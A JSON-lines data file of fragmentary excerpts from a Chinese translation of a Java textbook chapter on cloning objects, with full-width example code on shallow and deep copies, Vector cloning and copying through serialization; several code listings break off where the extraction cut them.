    {"text": "在这种情况下，可用 ｉｎｓｔａｎｃｅｏｆ 关键字（第 １１ 章有介绍）调查句柄 是否确实同一个能克隆的对象连接： ｉｆ（ｍｙＨａｎｄｌｅ ｉｎｓｔａｎｃｅｏｆ Ｃｌｏｎｅａｂｌｅ） ／／ ．．． 第二个原因是考虑到我们可能不愿所有对象类型都能克隆。"},
    {"text": "１ ２ ． ２ ． ４ 成功的克隆 理解了实现 ｃｌｏｎｅ（）方法背后的所有细节后，便可创建出能方便复制的类，以便提供了一个本地副本： ／／： ＬｏｃａｌＣｏｐｙ．ｊａｖａ ／／ Ｃｒｅａｔｉｎｇ ｌｏｃａｌ ｃｏｐｉｅｓ ｗｉｔｈ ｃｌｏｎｅ（） ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ ＭｙＯｂｊｅｃｔ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｉｎｔ ｉ； ３５３ ＭｙＯｂｊｅｃｔ（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ＭｙＯｂｊｅｃｔ ｃａｎ＇ｔ ｃｌｏｎｅ＂）； ｝ ｒｅｔｕｒｎ ｏ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＬｏｃａｌＣｏｐｙ ｛ ｓｔａｔｉｃ ＭｙＯｂｊｅｃｔ ｇ（ＭｙＯｂｊｅｃｔ ｖ） ｛ ／／ Ｐａｓｓｉｎｇ ａ ｈａｎｄｌｅ， ｍｏｄｉｆｉｅｓ ｏｕｔｓｉｄｅ ｏｂｊｅｃｔ： ｖ．ｉ＋＋； ｒｅｔｕｒｎ ｖ； ｝ ｓｔａｔｉｃ ＭｙＯｂｊｅｃｔ ｆ（ＭｙＯｂｊｅｃｔ ｖ） ｛ ｖ ＝ （ＭｙＯｂｊｅｃｔ）ｖ．ｃｌｏｎｅ（）； ／／ Ｌｏｃａｌ ｃｏｐｙ ｖ．ｉ＋＋； ｒｅｔｕｒｎ ｖ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＭｙＯｂｊｅｃｔ ａ ＝ ｎｅｗ ＭｙＯｂｊｅｃｔ（１１）； ＭｙＯｂｊｅｃｔ ｂ ＝ ｇ（ａ）； ／／ Ｔｅｓｔｉｎｇ ｈａｎｄｌｅ ｅｑｕｉｖａｌｅｎｃｅ， ／／ ｎｏｔ ｏｂｊｅｃｔ ｅｑｕｉｖａｌｅｎｃｅ： ｉｆ（ａ ＝＝ ｂ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ ＝＝ ｂ＂）； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ ！ ＝ ｂ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ａ ＝ ＂ ＋ ａ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｂ ＝ ＂ ＋ ｂ）； ＭｙＯｂｊｅｃｔ ｃ ＝ ｎｅｗ ＭｙＯｂｊｅｃｔ（４７）； ＭｙＯｂｊｅｃｔ ｄ ＝ ｆ（ｃ）； ｉｆ（ｃ ＝＝ ｄ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃ ＝＝ ｄ＂）； ｅｌｓｅ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃ ！ ＝ ｄ＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｃ ＝ ＂ ＋ ｃ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｄ ＝ ＂ ＋ ｄ）；"},
    {"text": "但在 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）正式开始操作前，首先会检查一个类是否 Ｃｌｏｎｅａｂｌｅ，即是否具有克隆能力——换言之，它 是否实现了 Ｃｌｏｎｅａｂｌｅ 接口。"},
    {"text": "因此，我们最好用一个 ｔｒｙ－ｃａｔｃｈ 块将对 ｓｕｐｅｒ．ｃｌｏｎｅ（）的调用代码包围（或封装）起 来，试图捕获一个应当永不出现的违例（因为这里确实已实现了 Ｃｌｏｎｅａｂｌｅ 接口）。"},
    {"text": "所以句柄 ｖ 用于克隆一个它所指向的副本， 而且最终返回指向基础类型 Ｏｂｊｅｃｔ 的一个句柄（因为它在 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）中是那样被定义的），随后必须 将其造型为正确的类型。"},
    {"text": "＝ ｄ ｃ ＝ ４７ ｄ ＝ ４８ 大家要记住这样一个事实：Ｊａｖａ 对“是否等价”的测试并不对所比较对象的内部进行检查，从而核实它们的 值是否相同。"},
    {"text": "由于所有这些工作都是在由根类定义之 ｃｌｏｎｅ（）方法的内部代码中进行的（根类并不知道要从自己这里继承出去什么），所以大家或许已经猜到，这 个过程需要用 ＲＴＴＩ 判断欲克隆的对象的实际大小。"},
    {"text": "下面这个例子可完成这种形式的检测： ／／： Ｓｎａｋｅ．ｊａｖａ ／／ Ｔｅｓｔｓ ｃｌｏｎｉｎｇ ｔｏ ｓｅｅ ｉｆ ｄｅｓｔｉｎａｔｉｏｎ ｏｆ ／／ ｈａｎｄｌｅｓ ａｒｅ ａｌｓｏ ｃｌｏｎｅｄ． ｐｕｂｌｉｃ ｃｌａｓｓ Ｓｎａｋｅ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｒｉｖａｔｅ Ｓｎａｋｅ ｎｅｘｔ；"},
    {"text": "ｐｒｉｖａｔｅ ｃｈａｒ ｃ； ／／ Ｖａｌｕｅ ｏｆ ｉ ＝＝ ｎｕｍｂｅｒ ｏｆ ｓｅｇｍｅｎｔｓ Ｓｎａｋｅ（ｉｎｔ ｉ， ｃｈａｒ ｘ） ｛ ｃ ＝ ｘ； ｉｆ（－－ｉ ＞ ０） ｎｅｘｔ ＝ ｎｅｗ Ｓｎａｋｅ（ｉ， （ｃｈａｒ）（ｘ ＋ １））； ３５５ ｝ ｖｏｉｄ ｉｎｃｒｅｍｅｎｔ（） ｛ ｃ＋＋； ｉｆ（ｎｅｘｔ ！ ＝ ｎｕｌｌ） ｎｅｘｔ．ｉｎｃｒｅｍｅｎｔ（）； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ Ｓｔｒｉｎｇ ｓ ＝ ＂：＂ ＋ ｃ； ｉｆ（ｎｅｘｔ ！ ＝ ｎｕｌｌ） ｓ ＋＝ ｎｅｘｔ．ｔｏＳｔｒｉｎｇ（）； ｒｅｔｕｒｎ ｓ； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ ｒｅｔｕｒｎ ｏ； ｝ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｓｎａｋｅ ｓ ＝ ｎｅｗ Ｓｎａｋｅ（５， ＇ａ＇）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓ ＝ ＂ ＋ ｓ）； Ｓｎａｋｅ ｓ２ ＝ （Ｓｎａｋｅ）ｓ．ｃｌｏｎｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｓ２ ＝ ＂ ＋ ｓ２）； ｓ．ｉｎｃｒｅｍｅｎｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ａｆｔｅｒ ｓ．ｉｎｃｒｅｍｅｎｔ， ｓ２ ＝ ＂ ＋ ｓ２）；"},
    {"text": "输出如下： ｓ ＝ ：ａ：ｂ：ｃ：ｄ：ｅ ｓ２ ＝ ：ａ：ｂ：ｃ：ｄ：ｅ ａｆｔｅｒ ｓ．ｉｎｃｒｅｍｅｎｔ， ｓ２ ＝ ：ａ：ｃ：ｄ：ｅ：ｆ 这意味着只有第一段才是由 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）复制的，所以此时进行的是一种“浅层复制”。"},
    {"text": "为了能正常实现深层复制，必须对所有类中的代码进行控 制，或者至少全面掌握深层复制中需要涉及的类，确保它们自己的深层复制能正确进行。"},
    {"text": "３５６ 下面这个例子总结了面对一个合成对象进行深层复制时需要做哪些事情： ／／： ＤｅｅｐＣｏｐｙ．ｊａｖａ ／／ Ｃｌｏｎｉｎｇ ａ ｃｏｍｐｏｓｅｄ ｏｂｊｅｃｔ ｃｌａｓｓ ＤｅｐｔｈＲｅａｄｉｎｇ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｄｅｐｔｈ；"},
    {"text": "ｐｕｂｌｉｃ ＤｅｐｔｈＲｅａｄｉｎｇ（ｄｏｕｂｌｅ ｄｅｐｔｈ） ｛ ｔｈｉｓ．ｄｅｐｔｈ ＝ ｄｅｐｔｈ； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｒｅｔｕｒｎ ｏ； ｝ ｝ ｃｌａｓｓ ＴｅｍｐｅｒａｔｕｒｅＲｅａｄｉｎｇ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｒｉｖａｔｅ ｌｏｎｇ ｔｉｍｅ； ｐｒｉｖａｔｅ ｄｏｕｂｌｅ ｔｅｍｐｅｒａｔｕｒｅ； ｐｕｂｌｉｃ ＴｅｍｐｅｒａｔｕｒｅＲｅａｄｉｎｇ（ｄｏｕｂｌｅ ｔｅｍｐｅｒａｔｕｒｅ） ｛ ｔｉｍｅ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ｔｈｉｓ．ｔｅｍｐｅｒａｔｕｒｅ ＝ ｔｅｍｐｅｒａｔｕｒｅ； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ｝ ｒｅｔｕｒｎ ｏ； ｝ ｝ ｃｌａｓｓ ＯｃｅａｎＲｅａｄｉｎｇ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｒｉｖａｔｅ ＤｅｐｔｈＲｅａｄｉｎｇ ｄｅｐｔｈ； ｐｒｉｖａｔｅ ＴｅｍｐｅｒａｔｕｒｅＲｅａｄｉｎｇ ｔｅｍｐｅｒａｔｕｒｅ； ｐｕｂｌｉｃ ＯｃｅａｎＲｅａｄｉｎｇ（ｄｏｕｂｌｅ ｔｄａｔａ， ｄｏｕｂｌｅ ｄｄａｔａ）｛ ｔｅｍｐｅｒａｔｕｒｅ ＝ ｎｅｗ ＴｅｍｐｅｒａｔｕｒｅＲｅａｄｉｎｇ（ｔｄａｔａ）； ｄｅｐｔｈ ＝ ｎｅｗ ＤｅｐｔｈＲｅａｄｉｎｇ（ｄｄａｔａ）； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ ＯｃｅａｎＲｅａｄｉｎｇ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ （ＯｃｅａｎＲｅａｄｉｎｇ）ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）； ３５７ ｝ ／／ Ｍｕｓｔ ｃｌｏｎｅ ｈａｎｄｌｅｓ： ｏ．ｄｅｐｔｈ ＝ （ＤｅｐｔｈＲｅａｄｉｎｇ）ｏ．ｄｅｐｔｈ．ｃｌｏｎｅ（）； ｏ．ｔｅｍｐｅｒａｔｕｒｅ ＝ （ＴｅｍｐｅｒａｔｕｒｅＲｅａｄｉｎｇ）ｏ．ｔｅｍｐｅｒａｔｕｒｅ．ｃｌｏｎｅ（）； ｒｅｔｕｒｎ ｏ； ／／ Ｕｐｃａｓｔｓ ｂａｃｋ ｔｏ Ｏｂｊｅｃｔ ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＤｅｅｐＣｏｐｙ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＯｃｅａｎＲｅａｄｉｎｇ ｒｅａｄｉｎｇ ＝ ｎｅｗ ＯｃｅａｎＲｅａｄｉｎｇ（３３．９， １００．５）； ／／ Ｎｏｗ ｃｌｏｎｅ ｉｔ： ＯｃｅａｎＲｅａｄｉｎｇ ｒ ＝ （ＯｃｅａｎＲｅａｄｉｎｇ）ｒｅａｄｉｎｇ．ｃｌｏｎｅ（）；"},
    {"text": "为了对其进行深层复制，ｃｌｏｎｅ（） 必须同时克隆 ＯｃｅａｎＲｅａｄｉｎｇ 内的句柄。 为达到这个目标，ｓｕｐｅｒ．ｃｌｏｎｅ（）的结果必须造型成一个 ＯｃｅａｎＲｅａｄｉｎｇ 对象（以便访问 ｄｅｐｔｈ 和 ｔｅｍｐｅｒａｔｕｒｅ 句柄）。"},
    {"text": "１ ２ ． ２ ． ７ 用 Ｖ ｅ ｃ ｔ ｏ ｒ 进行深层复制 下面让我们复习一下本章早些时候提出的 Ｖｅｃｔｏｒ 例子。 这一次 Ｉｎｔ２ 类是可以克隆的，所以能对 Ｖｅｃｔｏｒ 进行 深层复制： ／／： ＡｄｄｉｎｇＣｌｏｎｅ．ｊａｖａ ／／ Ｙｏｕ ｍｕｓｔ ｇｏ ｔｈｒｏｕｇｈ ａ ｆｅｗ ｇｙｒａｔｉｏｎｓ ｔｏ ／／ ａｄｄ ｃｌｏｎｉｎｇ ｔｏ ｙｏｕｒ ｏｗｎ ｃｌａｓｓ． ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊；"},
    {"text": "ｃｌａｓｓ Ｉｎｔ２ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｉ； ｐｕｂｌｉｃ Ｉｎｔ２（ｉｎｔ ｉｉ） ｛ ｉ ＝ ｉｉ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｉｎｃｒｅｍｅｎｔ（） ｛ ｉ＋＋； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｔｏＳｔｒｉｎｇ（） ｛ ｒｅｔｕｒｎ Ｉｎｔｅｇｅｒ．ｔｏＳｔｒｉｎｇ（ｉ）； ｝ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｉｎｔ２ ｃａｎ＇ｔ ｃｌｏｎｅ＂）； ｝ ｒｅｔｕｒｎ ｏ； ｝ ｝ ３５８ ／／ Ｏｎｃｅ ｉｔ＇ｓ ｃｌｏｎｅａｂｌｅ， ｉｎｈｅｒｉｔａｎｃｅ ／／ ｄｏｅｓｎ＇ｔ ｒｅｍｏｖｅ ｃｌｏｎｅａｂｉｌｉｔｙ： ｃｌａｓｓ Ｉｎｔ３ ｅｘｔｅｎｄｓ Ｉｎｔ２ ｛ ｐｒｉｖａｔｅ ｉｎｔ ｊ； ／／ Ａｕｔｏｍａｔｉｃａｌｌｙ ｄｕｐｌｉｃａｔｅｄ ｐｕｂｌｉｃ Ｉｎｔ３（ｉｎｔ ｉ） ｛ ｓｕｐｅｒ（ｉ）； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ ＡｄｄｉｎｇＣｌｏｎｅ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｉｎｔ２ ｘ ＝ ｎｅｗ Ｉｎｔ２（１０）； Ｉｎｔ２ ｘ２ ＝ （Ｉｎｔ２）ｘ．ｃｌｏｎｅ（）； ｘ２．ｉｎｃｒｅｍｅｎｔ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂ｘ ＝ ＂ ＋ ｘ ＋ ＂， ｘ２ ＝ ＂ ＋ ｘ２）； ／／ Ａｎｙｔｈｉｎｇ ｉｎｈｅｒｉｔｅｄ ｉｓ ａｌｓｏ ｃｌｏｎｅａｂｌｅ： Ｉｎｔ３ ｘ３ ＝ ｎｅｗ Ｉｎｔ３（７）； ｘ３ ＝ （Ｉｎｔ３）ｘ３．ｃｌｏｎｅ（）； Ｖｅｃｔｏｒ ｖ ＝ ｎｅｗ Ｖｅｃｔｏｒ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ １０； ｉ＋＋ ） ｖ．ａｄｄＥｌｅｍｅｎｔ（ｎｅｗ Ｉｎｔ２（ｉ））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖ： ＂ ＋ ｖ）； Ｖｅｃｔｏｒ ｖ２ ＝ （Ｖｅｃｔｏｒ）ｖ．ｃｌｏｎｅ（）； ／／ Ｎｏｗ ｃｌｏｎｅ ｅａｃｈ ｅｌｅｍｅｎｔ： ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｖ．ｓｉｚｅ（）； ｉ＋＋） ｖ２．ｓｅｔＥｌｅｍｅｎｔＡｔ（ （（Ｉｎｔ２）ｖ２．ｅｌｅｍｅｎｔＡｔ（ｉ））．ｃｌｏｎｅ（）， ｉ）； ／／ Ｉｎｃｒｅｍｅｎｔ ａｌｌ ｖ２＇ｓ ｅｌｅｍｅｎｔｓ： ｆｏｒ（Ｅｎｕｍｅｒａｔｉｏｎ ｅ ＝ ｖ２．ｅｌｅｍｅｎｔｓ（）； ｅ．ｈａｓＭｏｒｅＥｌｅｍｅｎｔｓ（）； ） （（Ｉｎｔ２）ｅ．ｎｅｘｔＥｌｅｍｅｎｔ（））．ｉｎｃｒｅｍｅｎｔ（）； ／／ Ｓｅｅ ｉｆ ｉｔ ｃｈａｎｇｅｄ ｖ＇ｓ ｅｌｅｍｅｎｔｓ： Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖ： ＂ ＋ ｖ）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂ｖ２： ＂ ＋ ｖ２）；"},
    {"text": "将 Ｉｎｔ２ 的 ｃｌｏｎｅ（）当作 Ｉｎｔ３ 的 ｃｌｏｎｅ（）调用时，它会调用 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（），判断出当前操作的是 Ｉｎｔ３，并复制 Ｉｎｔ３ 内的所有二进制位。"},
    {"text": "只要没有新增需要克隆的句 柄，对 Ｏｂｊｅｃｔ．ｃｌｏｎｅ（）的一个调用就能完成所有必要的复制——无论 ｃｌｏｎｅ（）是在层次结构多深的一级定义 的。 至此，大家可以总结出对 Ｖｅｃｔｏｒ 进行深层复制的先决条件：在克隆了 Ｖｅｃｔｏｒ 后，必须在其中遍历，并克隆 由 Ｖｅｃｔｏｒ 指向的每个对象。"},
    {"text": "１ ２ ． ２ ． ８ 通过序列化进行深层复制 若研究一下第 １０ 章介绍的那个 Ｊａｖａ １．１ 对象序列化示例，可能发现若在一个对象序列化以后再撤消对它的 序列化，或者说进行装配，那么实际经历的正是一个“克隆”的过程。"},
    {"text": "ｃｌａｓｓ Ｔｈｉｎｇ１ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛｝ ｃｌａｓｓ Ｔｈｉｎｇ２ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ Ｔｈｉｎｇ１ ｏ１ ＝ ｎｅｗ Ｔｈｉｎｇ１（）； ｝ ｃｌａｓｓ Ｔｈｉｎｇ３ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ Ｏｂｊｅｃｔ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｈｉｎｇ３ ｃａｎ＇ｔ ｃｌｏｎｅ＂）； ｝ ｒｅｔｕｒｎ ｏ； ｝ ｝ ｃｌａｓｓ Ｔｈｉｎｇ４ ｉｍｐｌｅｍｅｎｔｓ Ｃｌｏｎｅａｂｌｅ ｛ Ｔｈｉｎｇ３ ｏ３ ＝ ｎｅｗ Ｔｈｉｎｇ３（）； ｐｕｂｌｉｃ Ｏｂｊｅｃｔ ｃｌｏｎｅ（） ｛ Ｔｈｉｎｇ４ ｏ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｏ ＝ （Ｔｈｉｎｇ４）ｓｕｐｅｒ．ｃｌｏｎｅ（）； ｝ ｃａｔｃｈ （ＣｌｏｎｅＮｏｔＳｕｐｐｏｒｔｅｄＥｘｃｅｐｔｉｏｎ ｅ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｔｈｉｎｇ４ ｃａｎ＇ｔ ｃｌｏｎｅ＂）； ｝ ／／ Ｃｌｏｎｅ ｔｈｅ ｆｉｅｌｄ， ｔｏｏ： ｏ．ｏ３ ＝ （Ｔｈｉｎｇ３）ｏ３．ｃｌｏｎｅ（）； ｒｅｔｕｒｎ ｏ； ｝ ｝ ｐｕｂｌｉｃ ｃｌａｓｓ Ｃｏｍｐｅｔｅ ｛ ｓｔａｔｉｃ ｆｉｎａｌ ｉｎｔ ＳＩＺＥ ＝ ５０００； ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ Ｔｈｉｎｇ２［］ ａ ＝ ｎｅｗ Ｔｈｉｎｇ２［ＳＩＺＥ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｌｅｎｇｔｈ； ｉ＋＋） ａ［ｉ］ ＝ ｎｅｗ Ｔｈｉｎｇ２（）； Ｔｈｉｎｇ４［］ ｂ ＝ ｎｅｗ Ｔｈｉｎｇ４［ＳＩＺＥ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｂ．ｌｅｎｇｔｈ； ｉ＋＋） ｂ［ｉ］ ＝ ｎｅｗ Ｔｈｉｎｇ４（）； ｔｒｙ ｛ ｌｏｎｇ ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ ｂｕｆ ＝ ｎｅｗ ＢｙｔｅＡｒｒａｙＯｕｔｐｕｔＳｔｒｅａｍ（）； ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ ｏ ＝ ｎｅｗ ＯｂｊｅｃｔＯｕｔｐｕｔＳｔｒｅａｍ（ｂｕｆ）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ａ．ｌｅｎｇｔｈ； ｉ＋＋） ３６０ ｏ．ｗｒｉｔｅＯｂｊｅｃｔ（ａ［ｉ］）； ／／ Ｎｏｗ ｇｅｔ ｃｏｐｉｅｓ： ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ ｉｎ ＝ ｎｅｗ ＯｂｊｅｃｔＩｎｐｕｔＳｔｒｅａｍ（ ｎｅｗ ＢｙｔｅＡｒｒａｙＩｎｐｕｔＳｔｒｅａｍ（ ｂｕｆ．ｔｏＢｙｔｅＡｒｒａｙ（）））； Ｔｈｉｎｇ２［］ ｃ ＝ ｎｅｗ Ｔｈｉｎｇ２［ＳＩＺＥ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｃ．ｌｅｎｇｔｈ； ｉ＋＋） ｃ［ｉ］ ＝ （Ｔｈｉｎｇ２）ｉｎ．ｒｅａｄＯｂｊｅｃｔ（）； ｌｏｎｇ ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｓｅｒｉａｌｉｚａｔｉｏｎ： ＂ ＋ （ｔ２ － ｔ１） ＋ ＂ Ｍｉｌｌｉｓｅｃｏｎｄｓ＂）； ／／ Ｎｏｗ ｔｒｙ ｃｌｏｎｉｎｇ： ｔ１ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｔｈｉｎｇ４［］ ｄ ＝ ｎｅｗ Ｔｈｉｎｇ４［ＳＩＺＥ］； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｄ．ｌｅｎｇｔｈ； ｉ＋＋） ｄ［ｉ］ ＝ （Ｔｈｉｎｇ４）ｂ［ｉ］．ｃｌｏｎｅ（）； ｔ２ ＝ Ｓｙｓｔｅｍ．ｃｕｒｒｅｎｔＴｉｍｅＭｉｌｌｉｓ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｃｌｏｎｉｎｇ： ＂ ＋ （ｔ２ － ｔ１） ＋ ＂ Ｍｉｌｌｉｓｅｃｏｎｄｓ＂）； ｝ ｃａｔｃｈ（Ｅｘｃｅｐｔｉｏｎ ｅ） ｛ ｅ．ｐｒｉｎｔＳｔａｃｋＴｒａｃｅ（）；"},
    {"text": "下面是几次运行分别得到的结果： 的确 Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｓｅｒｉａｌｉｚａｔｉｏｎ： ３４００ Ｍｉｌｌｉｓｅｃｏｎｄｓ Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｃｌｏｎｉｎｇ： １１０ Ｍｉｌｌｉｓｅｃｏｎｄｓ Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｓｅｒｉａｌｉｚａｔｉｏｎ： ３４１０ Ｍｉｌｌｉｓｅｃｏｎｄｓ Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｃｌｏｎｉｎｇ： １１０ Ｍｉｌｌｉｓｅｃｏｎｄｓ Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｓｅｒｉａｌｉｚａｔｉｏｎ： ３５２０ Ｍｉｌｌｉｓｅｃｏｎｄｓ Ｄｕｐｌｉｃａｔｉｏｎ ｖｉａ ｃｌｏｎｉｎｇ： １１０ Ｍｉｌｌｉｓｅｃｏｎｄｓ 